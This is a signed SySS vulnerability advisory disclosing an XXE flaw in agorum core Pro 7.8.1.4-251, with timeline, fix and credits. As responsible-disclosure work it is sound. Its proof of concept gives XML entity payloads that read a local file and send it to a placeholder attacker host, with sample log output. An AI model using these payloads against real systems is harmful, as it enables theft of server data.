-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2017-009 Product: agorum core Pro Manufacturer: agorum Software GmbH Affected Version(s): 7.8.1.4-251 Tested Version(s): 7.8.1.4-251 Vulnerability Type: Improper Restriction of XML External Entity Reference ('XXE') (CWE-611) Risk Level: High Solution Status: Open Manufacturer Notification: 2017-02-06 Solution Date: 2017-04-06 Public Disclosure: 2017-04-12 CVE Reference: Not yet assigned Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: agorum core Pro is a module based Document Management System. It allows the customer to buy only required modules and can be extended when needed. Due to the possibility to upload and parse XML files, it is possible to extract data from the local system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: SySS GmbH found out that users are able to upload and parse XML files. Even though the result of the parse XML file is not visible in the application, it is possible to extract data from the local system using an external server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): First, the file "ev.xml" with the following content was uploaded to an external server hosted by the attacker. <!ENTITY % data SYSTEM "file:///c:/[PATH]/[FILE]"> <!ENTITY % url "<!ENTITY extract SYSTEM 'http://[ATTACKER-HOST]?%data;'>"> Second, the file "attack.xml" with the following content was uploaded in the desk4web module of the web application: <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sg SYSTEM "http://[ATTACKER-HOST]/ev.xml"> %sg; %url; ]> <r>&extract;</r> Important is to tick the box in the application that the XML file should be parsed after uploading. When the application has finished parsing the XML file, an entry in for example the Apache access.log file of the attacker's web server is available, which contains the extracted file contents: "GET /ev.xml HTTP/1.1" 200 441 "-" "Java/1.7.0_17" "GET /?[EXTRACTED-FILE-CONTENTS] HTTP/1.1" 200 210 "-" "Java/1.7.0_17" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to agorum core 7.11.3. [4] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2017-01-30: Vulnerability discovered 2017-02-06: Vulnerability reported to manufacturer 2017-04-06: Public disclosure 2017-04-06: Fix confirmed by manufacturer 2017-04-12: Vulnerability published ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for agorum Software GmbH http://mein-dms.agorum.com/ [2] SySS Security Advisory SYSS-2017-009 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-009.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ [4] Agorum Change Log https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Erlijn van Genuchten and Sascha Grimmeisen of SySS GmbH. E-Mail: erlijn.vangenuchten@xxxxxxx Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc Key ID: 0xBD96FF2A Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A E-Mail: sascha.grimmeisen@xxxxxxx Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc Key ID: 0xD3D9C868 Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJY71szAAoJEAylhje9lv8qPN8P/0wGaiI+K4NIzG12HpFhhb78 IlPjFFu0PupvF18dXK5op+CREX9OwpAgpJWWWL+qjNMPh0AG7rkX6cwjzDME2PE8 l0pLEBWwINnvIvcTDFwQ502kwowd35V1r3Edv+h6iqaqJfbgTxtLf/AcFxaOMMYX i4g3mCZ4f0+XWoUHMEjJTV7gdKsPG4zDb/iBoiG9yD7NTRrWQ/QY5+8UewuRroF2 Lb/ozPL09FBZDmPPg9coZej4Apgt9ZhfhP+VikIMudFOhlUtupfmyYpFG4Kzgpw/ qn8d2Crnzjwztz1H+82Mnz5Z5wW80eWzwtJCZtTatCR6Fr/pkm/v1pftGDMqohEW TW6uPpR+CiAQt+Po5ZHK7oQUPo8xJ6JTBRDM5PxPLWhBtclP2oCf4m4CGXkEmlSs /MkSHpvC9Tlv2+8XaWrCj2OdL1PO3NzsG2+7to7u/S1xeieNfX00iwgm2VuJyPFZ cBrRHrXRIBnxAZGVA1XGHUe6I6f7+WQ5+15H9984MP7q40gv/mE48lHVmH/K2plK oGDdFLAUUO98VbvgVH30tQgaw4PBiPW4bzmZsxmsTV7qs0yNWLL6Peo24T5HeCZy kKhOCGfexGalQlFUwnnbkkgVVDhcf5G/JLmZ6v/+W20YQdeS/Ind2wj599975nEi cielHENg3si+z6NEMcfU =ans3 -----END PGP SIGNATURE-----